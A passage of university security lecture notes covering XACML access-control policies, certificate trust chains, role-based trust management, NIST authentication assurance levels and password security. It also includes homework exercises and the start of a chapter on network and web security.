The rules check conditions (e.g. the issuer of the request is a student) to either
PERMIT or DENY a request. The policy also has an algorithm to combine the
answers of different rules. Finally obligations may be associated with a decision;
e.g. permit the read operation but with some action that should be executed;
e.g. notify the data owner, delete any copy of the data within a week, etc.
1A policy list would be a better name than a policy set since the order may indeed matter.
7.1. ACCESS CONTROL 123

<Policy PolicyId="ExamplePolicy" RuleCombiningAlgId=

"urn:oasis:names:tc:xacml:1.0:rule-combining-algorithm:permit-overrides">
<Target>
<Subjects> <AnySubject/> </Subjects>
<Resources> <Resource>
<ResourceMatch MatchId="urn:oasis:names:tc:xacml:1.0:function:anyURI-equal">
<AttributeValue DataType="http://www.w3.org/2001/XMLSchema#anyURI"
>http://server.example.com/code/docs/developer-guide.html</AttributeValue>
<ResourceAttributeDesignator DataType="http://www.w3.org/2001/XMLSchema#anyURI"
AttributeId="urn:oasis:names:tc:xacml:1.0:resource:resource-id"/>
</ResourceMatch>
</Resource></Resources>
<Actions> <AnyAction/> </Actions>
</Target>
<Rule RuleId="ReadRule" Effect="Permit">
<Target> <Subjects> <AnySubject/> </Subjects>
<Resources> <AnyResource/> </Resources>
<Actions> <Action>
<ActionMatch MatchId="urn:oasis:names:tc:xacml:1.0:function:string-equal">
<AttributeValue DataType="http://www.w3.org/2001/XMLSchema#string">read</AttributeValue>
<ActionAttributeDesignator DataType="http://www.w3.org/2001/XMLSchema#string"
AttributeId="urn:oasis:names:tc:xacml:1.0:action:action-id"/>
</ActionMatch> </Action> </Actions>
</Target>
<Condition FunctionId="urn:oasis:names:tc:xacml:1.0:function:string-equal">
<Apply FunctionId="urn:oasis:names:tc:xacml:1.0:function:string-one-and-only">
<SubjectAttributeDesignator DataType="http://www.w3.org/2001/XMLSchema#string"
AttributeId="group"/>
</Apply>
<AttributeValue DataType="http://www.w3.org/2001/XMLSchema#string"
>developers</AttributeValue>
</Condition>
</Rule>
</Policy>

Figure 7.5: Part of an XACML policy.

 124 CHAPTER 7. AUTHENTICATION AND AUTHORIZATION

<Request>
<Subject> 
<Attribute AttributeId="urn:oasis:names:tc:xacml:1.0:subject:subject‐id“
DataType="urn:oasis:names:tc:xacml:1.0:data‐type:rfc822Name">
<AttributeValue>[email protected]</AttributeValue>
</Attribute> 
<Attribute AttributeId="group"DataType="http://www.w3.org/2001/XMLSchema#string"  <Response> 
Issuer="[email protected]"> <AttributeValue>developers</AttributeValue>  <Result> 
</Attribute> 
</Subject> 
<Decision>Permit</Decision> 
<Resource> <Status> 
<Attribute AttributeId="urn:oasis:names:tc:xacml:1.0:resource:resource‐id"  <StatusCode
DataType="http://www.w3.org/2001/XMLSchema#anyURI"> <AttributeValue>  Value="urn:oasis:names:tc:xacml:1.0:status:ok"/> 
http://server.example.com/code/docs/developer‐guide.html </AttributeValue>  </Status> 
</Attribute>  </Result> 
</Resource>  </Response> 
<Action> <Attribute AttributeId="urn:oasis:names:tc:xacml:1.0:action:action‐id" 
DataType="http://www.w3.org/2001/XMLSchema#string"> 
<AttributeValue>read</AttributeValue> </Attribute> 
</Action> 
</Request> 

Figure 7.6: An XACML request and response (source: sunxacml.sourceforge.

net/guide.html).

Policies are written in XML2 making them human and machine readable.
The example in Figure 7.5 shows part of a policy which allows a developer to
read the developers guide document. The generality and power of XACML as
well as the fact that it is too cumbersome to specify policies by hand using
XACML are clear from this simple example. While writing a single policy is not
always easy, when having to maintain a whole set of policies, possibly written by
multiple parties, it can become a real challenge. Therefore, automated analysis
tools for XACML (see for example [25, 26] and further links provided there)
have been developed that help a user in maintaining policies. These tools check
properties such as who has access to certain resources and the impact of a policy
change (i.e. the effect of updating a certain policy).
The requests and responses are also formulated in XML. The request basically
describes who (user and attributes; e.g. Seth from group developers) wants to
do what (action; e.g. read) with which resource (e.g. developer guide). It may
also contain information about the environment; e.g. the request was made from
within the same office (or from within the same subnet) and during working
hours. The response contains the decision and a status code.
The XACML system is very general and by using selected sets of attributes
and formats it can model or be used in combination with other identification
and access control systems and standards. Note that XACML is attribute based
so we do not always need the identity of the user (requester, also called subject
in XACML terms). However, as the identity is just another attribute (named
‘urn:...:subject-id’) we can use it in the policy. Example: Give read access to any
one with a role attribute ‘student’ or an identity attribute ‘Jerry’ or an identity
attribute ‘Tanir’.

7.1.4 Distributed Access Control

Thus far we have considered a single authority based AC where all access rights,
roles assignments etc. are specified and enforced by a single entity. However, on
2 XML stands for Extensible Markup Language (XML) and it is a human readable data

format. Though XML (and thus XACML) format is human readable it is not very human
friendly. Interpreting a policy can be hindered by the large amount of textual overhead.
7.1. ACCESS CONTROL 125

a computer network there are multiple parties each with their own resources and
policies for use of these resources. One could consider each of these an authority
maintaining an access control policy, for example a hierarchical RBAC policy,
for their own resources. For example, TU/e may want to allow use of some of
its resources by students of another Dutch universities. With RBAC this would
require TU/e to maintain a list with all of these students. In such scenarios
where multiple authorities collaborate we cannot assume that all authorities
know all users in the system. For instance a student Alice at RU may not be
known to TU/e while Alice wants to use the resources offered by TU/e.

Certificates and Trust Trust plays a key role in collaborative distributed

AC. If I trust another authority I can rely on the statements this authority
makes, for example statements on the identity or roles of users. To validate a
document off-line one would put a signature on the document. Digital signatures
aim to bring this notion into the online world. In Chapter 9 we will look in more
detail at how to create and check digital signatures. For the discussion now it
is sufficient to know that digital signatures allow each signer’s signature to be
checked by other parties using the public key of the signer. (Consider the public
key as the online version of ‘your handwriting’.)

Definition 7.1.4.1 A certificate is a digitally signed statement that the sign-

ing party at the time of signing considers to be true (claims/confirms/takes
responsibility for/...).

If Alice trusts Bob (and has his public key) than Alice can also trust state-
ments that Bob signs. The level of trust in the signed statement by Bob, i.e. his
certificate, can depend on how sure Alice is that she has Bob’s key, how strong
the signature scheme is, the level of trust in Bob and the statement that Bob is
making. For example, Bob may be an expert on baking so we will trust a bread
recipe but not a medical prescription. One may even consider the content rather
than the type of statement. For example, trust if the recipe looks ‘normal’ and
do not trust if the recipe has suspicious ingredients (e.g. asbestos).3
When Alice is not sure that the public key p is really the public key of Bob,
she cannot trust signed statements that are checked using p. When Alice and
Bob meet in person they can share their public keys. If Alice and Bob can
only communicate over an insecure channel (e.g. the Internet) and Bob send his
public key then an attacker Mallory may change it along the way. Thus Alice
needs some way of checking that the key is correct. If Alice trusts Charlie who
already knows the key of Bob then Charlie could issue a certificate stating ‘the
public key of Bob is 1234’. As the statement is signed by Charlie, Mallory can
no longer change the key without Alice noticing.
In the scenario above Alice grants Charlie the role of a Certificate Au-
thority (CA), i.e. she trusts that Charlie is an authority on the key of Bob.
How does she know Charlie is an authority? There could be another authority
Daisy that says so. How does she know Daisy is an authority on authorities?
This chain can be continued for a while but will need to end as some point at
3 The term trust is used in many settings and in many different meanings. You will also

know the term from day to day life. Here we will focus on more technical interpretations of
the term trust [6, 13, 21] such as; a trusted statement is one which is supported by certificates.
126 CHAPTER 7. AUTHENTICATION AND AUTHORIZATION

a root CA Rob that Alice already trusts without the need for other authorities
vouching for Rob.
In HTTPS this approach is used to check certificates which authenticate
the website you are connecting to. For example, an (intermediate) Certificate
Authority TERENA CA checks the identity of TU/e and its public key and signs
the statement: The public key for www.tue.nl (256 bytes) is
BB 47 DE 23 5D 66 A1 72 CB C0 36 43 94 75 06 36
39 1B 82 9D 37 B8 CE 9C 3B 68 B7 FC 6A AF F1 03
D6 6E F5 A3 EF 00 1C 9B 9F C1 4D 90 A8 F2 B8 43
F5 9A 2F 83 84 B6 74 8E 81 C8 32 79 47 DF 0D D6
78 91 A4 36 84 10 F7 AC 4B D7 E7 EF 1D A3 BF CA
0A AD C9 9A E5 63 AD 01 0D 32 6D 92 35 81 1B 42
DF 75 F1 88 F6 53 D4 D8 35 B4 8B A5 87 14 5B D0
07 F0 6A 49 45 18 A6 B2 65 41 BC 5F FD 8D 60 10
D4 5B 68 04 44 43 C4 68 0F A8 3D EA E5 90 1B C0
7D E5 8E 9D F8 14 63 50 51 C9 C4 01 6D 11 FF CE
2E 4F 76 18 D0 3B 48 44 66 D8 40 A9 FB 11 04 33
4F CC 84 5E E0 01 0B 62 39 7F 43 DC EF 56 BB 50
E1 8A 99 13 52 AF B8 1B AD 7B 1F 7C 46 BD FC 31
43 27 32 D1 26 08 67 5D C9 32 7D 43 F6 DA BD 85
50 9A 6C 82 39 0E C8 92 57 56 39 3F E5 63 0A A8
D2 96 20 4A 0F 33 83 63 38 57 16 C5 47 9F 20 71
.

However, as Alice does not know TERENA CA and its keys, Alice needs
to find out whether she can trust this key and trust TERENA CA to issue
such statements. For this the TERENA CA has a certificate from another CA,
USERTrust (as shown in Figure 7.7), that validates Terena’s key and states that
TERENA is trusted to issue certificates for websites. This chain of certificates
finally ends at a root CA; a well known root of trust that Alice knows and has
the public key of (typically built into Alice’s browser and/or operating system).
A risk with this approach is that trust is full and fully transitive; the root
and intermediate CAs are trusted to only certify fully trustworthy intermediate
CAs and correctly verify the identities of all websites they issues certificates for.
However, if one step in the chain fails the whole system can break down. Several
incidents show that this can indeed happen. Hacking into the systems of the CA
is one way to obtain fake certificates.
For example:

• The recent Turktrust incident.

– technet.microsoft.com/en-us/security/advisory/2798897,
– www.theregister.co.uk/2013/01/04/turkish_fake_google_site_
certificate/)

• The Comodo incident.

– www.comodo.com/Comodo-Fraud-Incident-2011-03-23.html
7.1. ACCESS CONTROL 127

Figure 7.7: The certificate for www.tue.nl that contains the public key as viewed
by the Safari web browser (the key itself not shown in the image).

• The well known Diginotar incident (also 2011).

Use of outdated cryptography (such as the MD5 hash) also creates a risk; it
has been demonstrated that a fake CA certificate can be created by using MD5
hash collisions (www.win.tue.nl/hashclash/rogue-ca/, video at dewy.fem.
tu-ilmenau.de/CCC/25C3/video_h264_720x576/25c3-3023-en-making_the_
theoretical_possible.mp4).
In HTTPS there are basically only two roles; public key holder (the website
we want to visit) and CA that certifies public keys (for anybody, anywhere). If
we want to do distributed access control we may want more roles. This would
also limit the risk with respect to the problem above; we could have different
roles such as a CA for .nl, for tue.nl, etc. Then we could trust someone for
statements about e.g. www.tue.nl without having to trust them for statements
about www.bank.com. One way of doing this is role-based trust management,
which extends the ideas of RBAC to a distributed setting.
128 CHAPTER 7. AUTHENTICATION AND AUTHORIZATION

A.r1 ← B (simple member)

A.r1 ← B.r2 (simple inclusion)
A.r1 ← A.r1 .r2 (linking inclusion)
A.r1 ← B.r1 ∧ C.r2 (intersection inclusion)

Figure 7.8: Policy rules defining roles in role-based trust management.

Role-based Trust management (RT) This management scheme [21], ex-

tends the idea of role hierarchies across multiple entities. In RT the policy of
an authority consists of a collection of rules of four different possible types as
shown in Figure 7.8.
• In RBAC we have a table which assigns roles to users. Here this is done
with a list of (simple member) rules. For example, the rule TU/e.student
← Alice gives Alice the ‘student at TU/e’ role.
• The notion of role hierarchy from hierarchical RBAC is extended in
RT by the (simple inclusion) rule. For example, the relation ‘the role
Prof is a sub-role of the role Scientific’ of Figure 7.3 can be captured by
rule TU/e.Scientific ← TU/e.Prof. The (simple inclusion) rule, however,
is much more general. Most importantly it allows specifying relations
between roles of different authorities. For example, TU/e.student ←
RU.masterstudent states that anyone with the role masterstudent at RU
will have the role (and thus rights) of a student at TU/e.
• Often it is necessary to combine the roles from a group of different au-
thorities. Rather than having to maintain a list of simple inclusion
rules we can use a linking inclusion rule. For example, consider that
TU/e collaborates with a group of other institutions, collected in the
role TU/e.CollaboratingUniversity. With a single linking inclusion rule:
TU/e.student ← TU/e.CollaboratingUniversity.student we assign the TU/e.student
role to all students at all these institutions. (Note that, while TU/e should
define the CollaboratingUniversity role it can use roles of other the parties
as in TU/e.CollaboratingUniversity ← VSNU.members)
• Sometimes role membership has multiple requirements. This is expressed
by the intersection inclusion rules. For example, TU/e.honorCandidate
← TU/e.masterstudent ∧ TU/e.HasHighGrades states that candidates for
the honor program are master students with high grades. Thus student
with a low grade and Bachelors students, even those with a high grade,
will not be eligible.
The RT language allows us to make precise statements about our trust in other
entities; e.g. we trust VNSU to define universities but not to define TU/e staff
members. If the TU/e collaborates at masters level with RU then there is no
need to let RU bachelor students have access to TU/e resources. If RU provides
a role masterstudent we can include them in our role students; TU/e.student ←
RU.masterstudent captures that the TU/e trusts RU to correctly define master
students and trusts master students at the RU with TU/e student resources.
7.2. AUTHENTICATION 129

To determine membership of roles in RT we could gather all policies together

and compute the roles. However, not all parties may be willing to give their
complete policies away. Distributed computation mechanisms have been defined
to compute role membership without parties having to reveal their (complete)
policies.
Irrespective of whether we compute results centrally or in a distributed
fashion, we have to solve the problem of ‘securely’4 moving statements about
roles and role memberships around. Certificates are used for this. The RU can
sign the rule ‘RU.student ← Alice’ and send it to TU/e which checks it using
the RU’s public key. Then the TU/e can combine the RU rule with its rule
‘TU/e.student ← RU.student’ to conclude that Alice is a student and give her
the corresponding permissions.
Note that we have moved somewhat from discussing authorization and access
control to establishing and sharing attributes of the users; i.e. to authentication.
In the next section we focus on authentication; establishing attributes of users
and sharing these attributes.

7.2 Authentication
Who are you? Depending on the situation you could answer this question by
giving your name (“I’m Bob”), giving the group you belong to (“I’m a student”),
or by giving the role you are playing (e.g. “I’m the bartender”), etc. Similarly
your identity in a computer system can be a unique property of you (your user
name, bank account number, public key) and/or something you share (being
a student at the TU/e) and/or something that you are only part of the time
(being a bartender in the weekend). If we take the same perspective as in the
attribute based access control above we can answer the question ‘who are you’
with a list of attributes.

Definition 7.2.0.1 An identity is a set of attributes that uniquely describe a

person within a given context.

Definition 7.2.0.1, following the NIST (The National Institute of Standards

and Technology (NIST), a US federal institute) electronic authentication guide [7],
requires there to be enough information in the attributes to uniquely identify a
person. For example, if there are two bartenders one wearing a red and one a
blue shirt then ‘the bartender’ is not technically an identity; one would need to
say ‘the bartender’ ‘in the blue shirt’ (a set of two attributes). However, in the
text below we will be a bit loose in the use of the term identity. For example we
may use the term identity for a given set of attributes without verifying that
these attributes are sufficient to uniquely identify an individual.
When you call a close friend you can typically suffice with an “it’s me” as
authentication; your friend will recognize you from you voice. Someone else, on
the other hand, may only be able to recognize your voice after you’ve reminded
them by stating your name. (You, the claimant state an identity claim.)
We thus distinguish between identification, finding the identity of an individ-
ual (e.g. entering a user name), and authentication, proving that an individual
indeed belongs to a (claimed) identity (e.g. entering a password). The processes
4 what does this mean here?
130 CHAPTER 7. AUTHENTICATION AND AUTHORIZATION

of identification and authentication are not always as clearly separated as in the

user name - password example; for example when you meet someone you know
you do identification and authentication in one step by recognizing their face.
Thus you can claim that you have a certain identity (a set of attributes) but
can you prove it (how can you authenticate)? How can someone else, a verifier,
verify that you as claimant indeed have the identity (attributes) that you claim
to have. There are three types of factors that can be used for authentication:
• what you have; e.g. the key to your house, a bankcard, an OV chip card,
etc.
• what you know; e.g. the hiding place of the spare key, a security code
(pincode), a password, your mother’s maiden name, etc.
• what you are; e.g. your face which is recognized by your roommate, your
voice on the phone, your behaviour (e.g. you’re serving drinks), etc.
One can of course also combine different mechanisms, e.g. a bankcard with
a security code combines the ‘what you have’ factor with the ‘what you know’
factor. Such multi-factor authentication is often used when there are high security
requirements such as for use of your bankcard which represents a large monetary
value; the level of assurance 5 is matched with the requirements of the application.
By using different factors together attacks which target a single factor no longer
work; e.g. pickpocketing to steal the ‘what you have’ (bankcard, a key) is not
sufficient, nor is looking over your shoulder to learn what you know (security
code, password). Both attacks have to be combined making it much harder to
perform.
We thus have the identity (such as ‘Bob’, ‘age 21’, ‘student at TU/e’) of a
claimant and ways to check this identity by a verifier; the party that checks
whether you have a certain identity, or at least have certain attributes as part of
your identity. This is similar to the bouncer at the entry of the club checking
attribute ‘age 21’. Finally, we have a relying party that offers you a service based
on your attributes (such as the bartender serving you beer.
Thus far we have discussed authentication in general, but within computer
networks we are mostly concerned with remote electronic authentication (e-
authentication) where end-users prove their attributes to an online service using
an authentication protocol. (Recall the importance of establishing attributes for
access control discussed in the previous section.)
The first phase in an e-authentication system is a registration process where
applicants gets issued credentials that link their identity (attributes) to tokens
(things the applicant controls). For example, Alice goes to the student registration
desk and shows her passport. Then they check that Alice has paid her tuition
fees and issue Alice a student card with her picture on it. Here the student
card is a token which is linked (a credential) to the attribute ‘student at the
TU/e’ physically by the design with TU/e logo and electronically by the same
statement digitally signed by the TU/e (a certificate6 ). In this example the
TU/e asserts the student attribute. Different terms are used for the source of
attributes in different settings for example Credential Service Provider, Attribute
Provider and Certificate authority. Different naming typically indicates some
variations in what they provide and how they provide it. We will not go into
5 also known as level of authentication
6 Electronic credentials are usually issued in the form of certificates.
7.2. AUTHENTICATION 131

Figure 7.9: Authentication used for an access control decision.

that level of detail here. Of course how strict this registration procedure is and
how much you trust the attribute provider influence how sure you can be about
the assigned identity (level of assurance).
In the next phase a claimant tries to authenticate to a verifier. Physically
the student card provides a two factor authentication; someone can check it is
your card and thus that you are a student by you presenting the card (what
you have) and by comparing you to your picture on the card (what you are).
These factors do not translate directly to this phase of the e-authentication; for
example a remote verifier cannot see you to compare you to a picture. Instead you
authenticate by showing control over tokens and the corresponding credentials
then establish your identity (attributes). How control of the token is proven
influences how sure you can be (level of assurance) about a claimed identity.
For example in electronic banking you prove control over your back card by
answering a challenge from the bank that requires you to have your card and
know your pin. Therefore, in essence you use two factor authentication to
authenticate physically to your token (you have the card and know your pin)
which then confirms your identity to the remote verifier. An authentication
protocol is needed for the token to confirm your identity to a remote party.
Challenge-response and authentication protocols in general are treated in more
detail in Chapter 10. (Note that tokens do not have to be physical objects. A
password by itself, for example, is considered a token.)
The registration procedure, what type of tokens are used, how they are
managed and how control of tokens is proven together determine the level of
assurance. The NIST guidelines [7] introduce four levels;

1. For Level 1, the lowest level, there is no need to check the identity during
registration as such authentication at this level gives no guarantees about
the identity itself, only some assurance that the same claimant is involved.
While sending secrets or passwords on the network without any protection
(i.e. ‘in plaintext’) is not permitted, strong cryptographic mechanisms are
not required at this level.
132 CHAPTER 7. AUTHENTICATION AND AUTHORIZATION

2. Level 2 introduces requirements for the registration; the applicant should

show, which may be done remotely, possession of a valid ID number
(e.g. from a passport, bank account, etc.). The information linked to
this ID number is compared to the current ID application. For example
the name in your passport is compared to the name you register under
as a student. A single factor token for remote authentication, such as a
password (what you know) or a card that does not require a pin to use
(what you have), is sufficient.
3. Level 3, multi-factor remote network authentication, requires that at least
two authentication factors are used. This could be with a single token
using multiple factors such as a card that requires a pin to use or the
combination of multiple tokens such as a password and a card without pin.
The information to be provided during registration remains the same but
now the registration authority must verify the provided information (for
example check the bank records against the provided account number).
4. Level 4, the highest level, requires that registration is in person and using
a primary, government issued ID (e.g. a passport) with a picture and a
second ID (such as a verified bank account number). The registration
authority must verify the primary ID at the issuer or at other reliable
sources. Non-repudiation of the application must also be provided (e.g. by
taking a photo or fingerprint of the applicant); the applicant should not be
able to deny making the application. In the authentication phase strong
cryptographic proofs using multiple factors are needed to demonstrate
control over the token(s).
In practice, the achieved level of assurance is the highest level for which all
of the requirements are met. Thus if I use a cryptographic protocol to prove
possession of a fingerprint and pin code protected smart card but the card was
issued to me without checking who I am the assurance level is at Level 1. If I go
through a rigorous vetting procedure during registration but I use telnet to log
on (in which I ‘prove’ my identity by sending an unprotected password over the
network) not even assurance Level 1 is achieved.

Passwords - What you know Passwords are a very popular way of verifying
a claimant’s identity; they are familiar to the user and easy to implement on a
system, e.g. requiring no new hardware or complicated programming. They are
a key example of ‘what you know’ authentication. Important questions are

• Do you actually know (remember) your password?

• Are you the only one who knows it?

– How strong is password authentication?

– Can no one guess your password?

A problem is that a hard to guess password will likely be hard to remember.

The password also needs to be stored on the (remote) system and entered in the
system when used to authenticate. Each opens up venues for attacks.
The entropy of a secret captures how hard it is to guess. (Equivalently we can
describe entropy as ‘how much hidden information does it contain’ or ‘how much
7.2. AUTHENTICATION 133

room would it take to store/send it in an optimal encoding.’). If the entropy

(expressed in number of bits needed to represent the hidden information) is n
then one needs on average half7 of 2n guesses to find the secret.
Consider a copier placed in a hallway that uses a 5 digit code to do both
identification and authentication. There are 105 possible codes thus the entropy
may seem to be log 2 of 100.000 and the average number of attempts needed to
find the code is thus 1/2 ∗ 100, 000. This could be considered to be enough as
very few attackers would try 50.000 codes (i.e. if they get the chance) to be able
to make free copies.
In reality the security was a lot less. Random guessing attacks may already
be a problem for limited length passwords but attackers can do much better than
random guessing. Users typically do not choose their passwords by randomly
generating a sequence; this may be a good way to get a password with high
entropy, it will likely also result in a password that the user cannot easily
remember. Instead users pick easy to remember patterns; such as names, words
or keyboard patterns. A smart attacker will thus try those first, significantly
reducing the required effort. For the copier example above the first code tried,
e.g. 12345, may work. (Note that penetration testing without permission from
the resource owner can be considered hacking (‘computer vrede breuk’) which is
illegal in the Netherlands (article 138ab8 of the Dutch criminal code.)
There are different techniques to combat weak passwords and each has their
own advantages and disadvantages. Randomly generated passwords are stronger
but harder to remember. Guidelines on how to construct ‘good’ passwords should
not be too specific as that also gives information to an attacker, i.e. decreases
the entropy. Reusing the same password on multiple (remote) systems only gives
one that needs to be remembered (so perhaps it can be stronger) but means that
a break-in in one system (or a malicious administrator9 ) will affect the security
of other systems as well. A password safe can be used to store different strong
(e.g. randomly generated) passwords on different systems but does create a single
point of failure, both with respect to confidentiality (all passwords protected by
a single master password) and availability (if safe unavailable or master password
forgotten then all passwords are lost).
Passwords have to be checked by the verifier (remote system). But a whole
list of unprotected passwords stored on the system makes a tempting target for
an attacker (may be useful to break into other systems as well if users reuse
passwords.) One could use an access control system or encrypt the passwords to
protect the password list but the system still needs access (e.g. the decryption
key) to be able to check any password that is entered. The system only needs a
way to validate that a claimant knows the password, and this can be achieved
without storing a password list: a commonly used method to protect passwords
is to only store the hashes of the passwords, not the passwords themselves.
Hash functions produce as fixed size output for any length input and are one
way (irreversible) and collision resistant (hard to find inputs that give the same
output). Thus the passwords are now safe(r) as the hash is irreversible. When
a claimant provides a password the verifier hashes it and compares it with the
hash value stored for the claimed identity. As the hash is collision resistant this
7 Because the attacker may be extremely lucky and find the secret on the first try or be

extremely unlucky and find it after 2n tries.

8 http://wetten.overheid.nl/BWBR0001854/TweedeBoek/TitelV/Artikel138ab
9 Recall the importance of using the attacker model for security
134 CHAPTER 7. AUTHENTICATION AND AUTHORIZATION

is just as good as comparing the entry directly with the identity’s password.
Finally the claimant has to tell the verifier the password. To prevent an
attacker from just trying a lot of passwords the verifier could apply a rate limiting
mechanism. After a number of incorrect entries the system could block (or just
slow down) login for that user (for some time, or until another action is taken
such as entry of a much longer PUK code for a blocked mobile phone after three
consecutive false PIN entries.)
Overall passwords form an easy to use but not very strong form of authenti-
cation. Protecting high value resources with only a password is not advisable.
(See also the requirements for NIST level of assertion.)

7.3 Summary
In this chapter we have addressed (e-)authentication and authorization which are
key security issues for networked applications. If we try to express these notions
in a single sentence we could say that authentication is assigning/establishing,
presenting and validating attributes of users while authorization is determining
and enforcing the rights of users based on their attributes. There is, however,
no clear cut line between the two as they have some inherent overlap; both
authentication and authorization deal with trust and management of attributes.
Authentication starts at the user; getting an identity or attributes for a user
while authorization ends at the resource; linking usage to the attributes. Which
of the steps in between, bringing user attributes and resources together, are part
of authentication and which of authorization depends on the system and your
point of view. Additionally in literature there is sometimes even more overlap;
authentication systems may talk about rights associated with the established
attributes while authorization systems may talk about obtaining the user’s
attributes. Wherever you draw the line, with both authorization (access control)
and authentication in place we have a means to link users to their rights over a
computer network.
If you wish to learn more about Access Control there is the Master course
”Principles of data protection” (2IS27). Also the Bachelors course ”Legal and
Technical Aspects of Security” (2IC70) treats access control both from a legal
and a technical perspective.

7.3.1 Literature
Suggested reading

• A Brief Introduction to XACML [10],

• Executive summary (pages v-viii) of NIST-800-63-2 [7],

• Sections 1 to 3 of: An introduction to role based trust management

framework RT [13, Sec 1-3].

• Chapter 4 on Access Control of Security Engineering [3, Ch 4],

• The full text of NIST-800-63-2 [7],

• XACML v3.0 core specification [23].

7.4. HOMEWORK EXERCISES 135

7.4 Homework Exercises

1. Give the AC matrix for the following hierarchical RBAC policy. The
hierarchy given in Figure 7.3 is used with the policy in Figure 7.2 extended
with: Staff may reserve the meeting rooms M1, M2, Scientific (staff) may
book the lab L1. Sandro is a Prof, Heleen is a Financial (staff).

2. Consider the RT policy:

Alice.Friends ← Bob.Friends
Alice.Friends ← Charlie

Bob.Friends ← Alice.Friends
Bob.Friends ← Charlie
Bob.Friends ← Dave

Charlie.Friends ← Charlie.Friends.Friends
Charlie.Friends ← Alice

Dave.Friends ← Eva

(a) Who are the friends of Alice?

(b) Is there any friend of Alice that is not a friend of Bob or vice versa?
(c) Is Eva a friend of Charlie?
(d) Write a rule that states that friends that Alice and Dave have in
common are also friends of Eva. Who fits this description?
(e) Is it possible to write a rule that states that Alice is not a friend of
Dave?

3. What information is missing if we want to use RT policies for authorization

and how can we address this?

4. Describe the following scenario and situations (as far as possible) using an
access control matrix, a role based access control system, RT and XACML.
A Hospital has a patient electronic health record (EHR) system. An EHR
describes the medication history of a patient. There are two possible
actions on the EHR; read the content and add a new prescription.

• The hospital has doctors Daisy and Edward, nurses Nancy and Mark
and Patients Alice, Bob and Charlie.
• Doctors are allowed to read the health records of patients.
• The doctor treating a patient is allowed to add new prescriptions and
may let a nurse read the health record of the patient.
• Daisy is treating Alice and Bob, Edward is treating Charlie.
• Nurse Nancy is assisting Daisy with the treatment of Alice.

Give a scenario in which Nancy reads the record of Alice; include the steps
involved and what happens in/with the AC system.
136 CHAPTER 7. AUTHENTICATION AND AUTHORIZATION

5. With PIN payments a two factor authentication of the paying party is

performed.

(a) Which are the two types of factors used and how are they implemented
in this example?
(b) Why are two factors used rather than only one?
(c) What is the third type of factor and how could it be applied in this
setting?
(d) After entering the PIN code the terminal shows the amount to be
transferred and asks for confirmation from the user. What type of
attack is this meant to prevent and how effective is this method?
6. Translate the following XACML policy to a textual description of the
policy:
<Policy PolicyId="SamplePolicy" RuleCombiningAlgId=
"urn:oasis:names:tc:xacml:1.0:rule-combining-algorithm:permit-overrides">
<Target>
<Subjects> <AnySubject/> </Subjects>
<Resources> <ResourceMatch MatchId="urn:oasis:names:tc:xacml:1.0:function:string-equal">
<AttributeValue DataType="http://www.w3.org/2001/XMLSchema#string">SampleServer</AttributeValue>
<ResourceAttributeDesignator DataType="http://www.w3.org/2001/XMLSchema#string"
AttributeId="urn:oasis:names:tc:xacml:1.0:resource:resource-id"/>
</ResourceMatch> </Resources>
<Actions> <AnyAction/> </Actions>
</Target>

<Rule RuleId="LoginRule" Effect="Permit">

<Target>
<Subjects> <AnySubject/> </Subjects>
<Resources> <AnyResource/> </Resources>
<Actions> <ActionMatch MatchId="urn:oasis:names:tc:xacml:1.0:function:string-equal">
<AttributeValue DataType="http://www.w3.org/2001/XMLSchema#string">login</AttributeValue>
<ActionAttributeDesignator DataType="http://www.w3.org/2001/XMLSchema#string"
AttributeId="ServerAction"/>
</ActionMatch> </Actions>
</Target>

<Condition FunctionId="urn:oasis:names:tc:xacml:1.0:function:and">
<Apply FunctionId="urn:oasis:names:tc:xacml:1.0:function:time-greater-than-or-equal"
<Apply FunctionId="urn:oasis:names:tc:xacml:1.0:function:time-one-and-only">
<EnvironmentAttributeSelector DataType="http://www.w3.org/2001/XMLSchema#time"
AttributeId="urn:oasis:names:tc:xacml:1.0:environment:current-time"/>
</Apply>
<AttributeValue DataType="http://www.w3.org/2001/XMLSchema#time">09:00:00</AttributeValue>
</Apply>
<Apply FunctionId="urn:oasis:names:tc:xacml:1.0:function:time-less-than-or-equal"
<Apply FunctionId="urn:oasis:names:tc:xacml:1.0:function:time-one-and-only">
<EnvironmentAttributeSelector DataType="http://www.w3.org/2001/XMLSchema#time"
AttributeId="urn:oasis:names:tc:xacml:1.0:environment:current-time"/>
</Apply>
<AttributeValue DataType="http://www.w3.org/2001/XMLSchema#time">17:00:00</AttributeValue>
</Apply>
</Condition>
</Rule>

<Rule RuleId="FinalRule" Effect="Deny"/>

</Policy>

7. Rate limiting to counter password guessing, like most security mechanisms,

introduces a trade-off. Which security property is diminished and which is
increased by the introduction of rate limiting?
Chapter 8

Network and Web Security

On a computer network with different interconnected systems security is not only

important, but also hard to achieve. Not only do we need to consider threats on
our own (local) system but also on all systems connected to it, as well as the
connections themselves. Where we may have some trust in our own system we
likely will not trust all systems on the network and their users. The interests of
the other parties on the network may be completely different than ours. As we
have seen in our security analysis, conflicting interests lead to (security) risks. In
this chapter we will look at some of specific computer network (protocol) related
threats and corresponding countermeasures.
In our discussion we try to answer the following questions:

• Why are networks and web applications so vulnerable?

• How to achieve network and web security goals?
• How to approach different attacker models?

We start by looking at threats at the lower network layers, and move up

the protocol stack illustrating that risks exist at each layer and also in moving
between the layers. Next we touch on (distributed) denial of service attacks that
are focused on breaking the security attribute ‘availability’. We then move to the
top of the network protocol stack and we treat the application layer separately,
looking in particular at web services and related vulnerabilities.
Having described the threats we discuss some key network security technolo-
gies aiming to address these threats such as security protocols and intrusion
detection and prevention systems (firewalls, intrusion detection systems, virus
detection, etc.).

8.1 Network Layers and Corresponding Threats

In this section we look at threats at and between different network protocol layers,
working upward from the lower layers towards the application layer. Threats at
the application layer itself is the focus of the next section.
Of key importance when considering the threats and attacks described in
this section is to keep in mind who and where the attacker is and what she is
trying to achieve; i.e. what is the attacker model that belongs to the threat.

137
138 CHAPTER 8. NETWORK AND WEB SECURITY

Figure 8.1: Simplified OSI Model for TCP/IP layers

Different attackers will have different capabilities. For example, an attacker

connected to the same hub will see all the messages being sent. An attacker
